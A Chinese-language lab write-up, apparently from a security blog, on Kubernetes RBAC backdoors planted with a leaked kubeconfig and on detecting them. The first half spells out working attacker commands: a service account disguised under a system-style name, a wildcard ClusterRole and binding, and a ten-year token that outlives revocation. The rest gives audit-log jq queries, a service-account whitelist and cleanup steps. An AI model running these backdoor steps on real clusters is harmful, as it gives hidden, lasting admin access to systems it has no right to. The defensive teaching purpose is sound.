攻击者
│
├─ 1. 使用泄露 kubeconfig 连接公网 apiserver
│
├─ 2. 创建后门 ServiceAccount(伪装成系统组件名)
│
├─ 3. 创建 ClusterRole(全权限)
│
├─ 4. 创建 ClusterRoleBinding(将后门 SA 绑定到 cluster-admin)
│
├─ 5. 用 TokenRequest API 生成长期 token(不存储在 apiserver,难以追踪)
│
└─ 6. 防御方删除原始 kubeconfig 对应的 RBAC binding
↓
原始 kubeconfig → Forbidden (请求被拒绝)
后门 SA token → cluster-admin 全权限 (仍能正常使用)
经验丰富的攻击者拿到一份泄露的 kubeconfig(cluster-admin 权限)后,第一件事可能不是立刻操作,而是先给自己埋一个独立的后门——即使原始 kubeconfig 被吊销,后门依然有效。kubeadm certs renew 和删除 ClusterRoleBinding 对已植入的后门无效,因为后门使用独立的身份凭证。
| 角色 | 规格 | 公网 IP | 内网 IP |
|---|---|---|---|
| master | S5.LARGE8 4C8G Ubuntu 22.04 | 129.xxx.50.247 | 10.0.1.14 |
| worker node | S5.MEDIUM4 2C4G Ubuntu 22.04 | 43.xxx.182.96 | 10.0.1.2 |
| centos-node | S5.MEDIUM4 2C4G CentOS 7.9 | 43.xxx.29.38 | 10.0.1.11 |
/var/log/kubernetes/audit.log)# 攻击者视角:验证泄露的 kubeconfig 可用 export KUBECONFIG=./lab/attack/leaked-kubeconfig.yaml kubectl auth whoami ATTRIBUTE VALUE Username kubernetes-admin Groups [kubeadm:cluster-admins system:authenticated]
攻击者拿到 kubeconfig 后首先摸清 RBAC 现状,找到高权限 binding,了解命名规律,为后续伪装做准备:
# 枚举所有 ClusterRoleBinding,找 cluster-admin 相关的 kubectl get clusterrolebindings -o wide | grep cluster-admin # 列出 kube-system 里的 ServiceAccount,参考系统组件命名规律 kubectl get sa -n kube-system

可以观察到系统 SA 名称风格为 xxx-controller、xxx-manager,kube-system 命名空间,下一步据此伪装。
真实攻击(RBAC Buster)中,攻击者将后门命名为 kube-controller / system:controller:kube-controller,故意仿造系统组件名称。本实验使用 kube-metrics-controller 演示伪装命名:
# 步骤一:创建伪装的 ServiceAccount
kubectl create serviceaccount kube-metrics-controller -n kube-system
# 步骤二:创建全权限 ClusterRole(也可以直接复用内置的 cluster-admin)
kubectl create clusterrole kube-metrics-controller \
--verb='*' \
--resource='*'
# 步骤三:将 SA 绑定到全权限角色
kubectl create clusterrolebinding system:controller:kube-metrics-controller \
--clusterrole=kube-metrics-controller \
--serviceaccount=kube-system:kube-metrics-controller

整个过程不到 10 秒,后门已植入完毕。
# 用 TokenRequest API 生成 10 年有效期的 token
kubectl create token kube-metrics-controller \
-n kube-system \
--duration=87600h \
> backdoor_token.txt

TOKEN=$(cat backdoor_token.txt) # 用后门 token 调用 apiserver curl -sk -H "Authorization: Bearer $TOKEN" \ https://129.226.50.247:6443/api/v1/nodes \ | jq '[.items[].metadata.name]'

防御方发现 kubeconfig 泄露,执行吊销操作:
# 防御方操作:删除泄露 kubeconfig 对应的 ClusterRoleBinding kubectl delete clusterrolebinding kubeadm:cluster-admins # 原始泄露的 kubeconfig → 已失效 KUBECONFIG=./lab/attack/leaked-kubeconfig.yaml kubectl get pods # Error from server (Forbidden): pods is forbidden: # User "kubernetes-admin" cannot list resource "pods"... curl -sk \ -H "Authorization: Bearer $TOKEN" \ https://129.226.50.247:6443/api/v1/nodes \ | jq '[.items[].metadata.name]'

验证结果:防御方以为关上了门,攻击者其实仍在屋内。
- auth whoami 还能通 → 认证(Authentication)没问题,证书本身有效,apiserver 认识你是谁
- get pods Forbidden → 鉴权(Authorization)被切断,RBAC 查不到任何允许这个用户列 Pod 的规则
两个阶段是独立的:
请求 → 认证(你是谁?)→ 鉴权(你能做什么?)→ 准入
↑ ↑
证书有效,通过 binding 没了,拒绝
auth whoami 只走认证阶段,所以还能返回结果。get pods 要走到鉴权阶段才会 Forbidden。
后门 SA kube-metrics-controller 与原始 kubeconfig 的 kubernetes-admin 是完全独立的身份。删除原始 binding 不影响后门 binding。
前提是开启了 audit log 的集群,以上操作才全部有迹可查。这里把攻击的日志提取出来,供排查参考。
创建后门 ServiceAccount
{
"requestReceivedTimestamp": "2026-06-08T07:36:51.320243Z",
"verb": "create",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
"objectRef": {
"resource": "serviceaccounts",
"namespace": "kube-system",
"name": "kube-metrics-controller"
},
"responseStatus": { "code": 201 }
}
创建后门 ClusterRoleBinding
{
"requestReceivedTimestamp": "2026-06-08T07:36:54.064706Z",
"verb": "create",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"userAgent": "kubectl/v1.36.1 (darwin/arm64) kubernetes/7569396",
"objectRef": {
"resource": "clusterrolebindings",
"name": "system:controller:kube-metrics-controller"
},
"requestObject": {
"subjects": [{"kind": "ServiceAccount", "name": "kube-metrics-controller", "namespace": "kube-system"}],
"roleRef": {"kind": "ClusterRole", "name": "cluster-admin"}
},
"responseStatus": { "code": 201 }
}
生成长期 token
{
"requestReceivedTimestamp": "2026-06-08T07:36:57.262985Z",
"verb": "create",
"user": {
"username": "kubernetes-admin",
"groups": ["kubeadm:cluster-admins", "system:authenticated"]
},
"sourceIPs": ["159.196.171.95"],
"objectRef": {
"resource": "serviceaccounts",
"subresource": "token",
"namespace": "kube-system",
"name": "kube-metrics-controller"
},
"responseStatus": { "code": 201 }
}
注意:audit policy 里对 serviceaccounts/token 的记录级别要设为 Request 或 RequestResponse,否则这条查询没有数据。本实验的 policy 已覆盖。
TokenRequest API 生成的 token 不存储在 apiserver,kubectl get secret 看不到,只能从 audit log 里找。
sudo jq -c 'select(
.verb == "create" and
.objectRef.subresource == "token" and
.objectRef.resource == "serviceaccounts" and
(
.sourceIPs | map(
test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$")
| not
) | any
)
) | {
ts: .requestReceivedTimestamp,
sa: "\(.objectRef.namespace)/\(.objectRef.name)",
src: .sourceIPs[0],
user: .user.username
}' /var/log/kubernetes/audit.log

如果有输出,说明攻击者已经为某个 SA 生成了长期 token,删除对应 SA 是唯一的撤销方法。
# 找所有来自公网 IP 的 ClusterRoleBinding 创建操作
sudo jq -c 'select(
.verb == "create" and
.objectRef.resource == "clusterrolebindings" and
(
.sourceIPs | map(
test("^10\\.|^172\\.(1[6-9]|2[0-9]|3[01])\\.|^192\\.168\\.|^127\\.|^::1$")
| not
) | any
)
) | {
ts: .requestReceivedTimestamp,
name: .objectRef.name,
src: .sourceIPs[0],
user: .user.username,
subjects: [.requestObject.subjects[]? | "\(.kind)/\(.namespace)/\(.name)"],
role: .requestObject.roleRef.name
}' /var/log/kubernetes/audit.log

收到告警或发现 kubeconfig 泄露后,按以下顺序排查,先排查后门,再执行吊销。
攻击者有两种绑定方式:直接绑内置 cluster-admin,或先创建通配符自定义 ClusterRole 再绑。以下一条命令同时覆盖两种方式:
kubectl get clusterroles,clusterrolebindings -o json | jq -r '
# 提取所有自定义通配符 ClusterRole 名称
[
.items[] |
select(.kind == "ClusterRole") |
select(
(.metadata.name | test("^system:|^kubeadm:|^flannel|^calico|^kube-proxy") | not) and
(.rules[]? | (.verbs[]? == "*") or (.resources[]? == "*"))
) |
.metadata.name
] as $dangerous |
# 找绑了 cluster-admin 或通配符自定义角色的所有 binding
.items[] |
select(.kind == "ClusterRoleBinding") |
select(
.roleRef.name == "cluster-admin" or
(.roleRef.name | IN($dangerous[]))
) |
"\(.metadata.creationTimestamp) \(.metadata.name) → \(.roleRef.name)
subjects: \(.subjects // [] | map("\(.kind)/\(.namespace // "-")/\(.name)") | join(", "))"
' | sort
本实验真实输出:

这里的system:controller:kube-metrics-controller 绑的是自定义 ClusterRole,纯查 cluster-admin 会漏掉它。
靠肉眼逐行辨别不可靠。以下一条命令完成三步:找异常 SA → 追 ClusterRoleBinding → 展开 ClusterRole rules。
kubectl get serviceaccounts,clusterroles,clusterrolebindings -n kube-system -o json | jq -r '
# kubeadm + flannel 标准集群合法 SA 白名单
[
"attachdetach-controller","bootstrap-signer","certificate-controller",
"clusterrole-aggregation-controller","coredns","cronjob-controller",
"daemon-set-controller","default","deployment-controller",
"disruption-controller","endpoint-controller","endpointslice-controller",
"endpointslicemirroring-controller","ephemeral-volume-controller",
"expand-controller","generic-garbage-collector","horizontal-pod-autoscaler",
"job-controller","kube-proxy","legacy-service-account-token-cleaner",
"namespace-controller","node-controller","node-ipam-controller",
"node-lifecycle-controller","persistent-volume-binder","pod-garbage-collector",
"pv-protection-controller","pvc-protection-controller","replicaset-controller",
"replication-controller","resourcequota-controller","root-ca-cert-publisher",
"service-account-controller","service-controller","statefulset-controller",
"token-cleaner","ttl-after-finished-controller","ttl-controller",
"validatingadmissionpolicy-status-controller"
] as $whitelist |
# ClusterRole 名 → rules 索引
([.items[] | select(.kind=="ClusterRole") | {(.metadata.name): .rules}] | add // {}) as $role_rules |
# 异常 SA 名称集合(不在白名单里的)
[.items[] | select(.kind=="ServiceAccount") | select(.metadata.name | IN($whitelist[]) | not) | .metadata.name] as $suspicious |
# 找绑了异常 SA 的 ClusterRoleBinding,并直接展开 rules
.items[] |
select(.kind=="ClusterRoleBinding") |
select(.subjects[]? | .kind=="ServiceAccount" and .namespace=="kube-system" and (.name | IN($suspicious[]))) |
. as $b |
$b.roleRef.name as $rn |
"[!] SA: kube-system/\($b.subjects[] | select(.kind=="ServiceAccount") | .name)",
" Binding: \($b.metadata.name) → \($rn)",
" Rules: \($role_rules[$rn] // "built-in, check manually" | tojson)",
""
'

输出的三层信息一目了然:
kube-metrics-controller,不在白名单,可疑system:controller: 前缀),绑的是自定义角色而非 cluster-admin,刻意规避告警resources=* + verbs=* = 与 cluster-admin 等价的全权限,确认为后门错误顺序:先吊销原始 kubeconfig 以为完事了,实际上后门仍在。
正确顺序:先排查后门,清理后门,再吊销原始 kubeconfig。
关键:删 SA 比删 ClusterRoleBinding 更彻底。
# 只删 ClusterRoleBinding:token 还在,重新绑定即可恢复权限 kubectl delete clusterrolebinding system:controller:kube-metrics-controller # 删 ServiceAccount:token 立即失效,无法再用 kubectl delete sa kube-metrics-controller -n kube-system
TokenRequest API 生成的 token 与 SA 绑定,SA 被删后 token 的 JWT 验证会立即失败(apiserver 验证 SA 是否存在),这是撤销这类 token 的唯一方法。
Post Views: 7
赞赏
微信赞赏
支付宝赞赏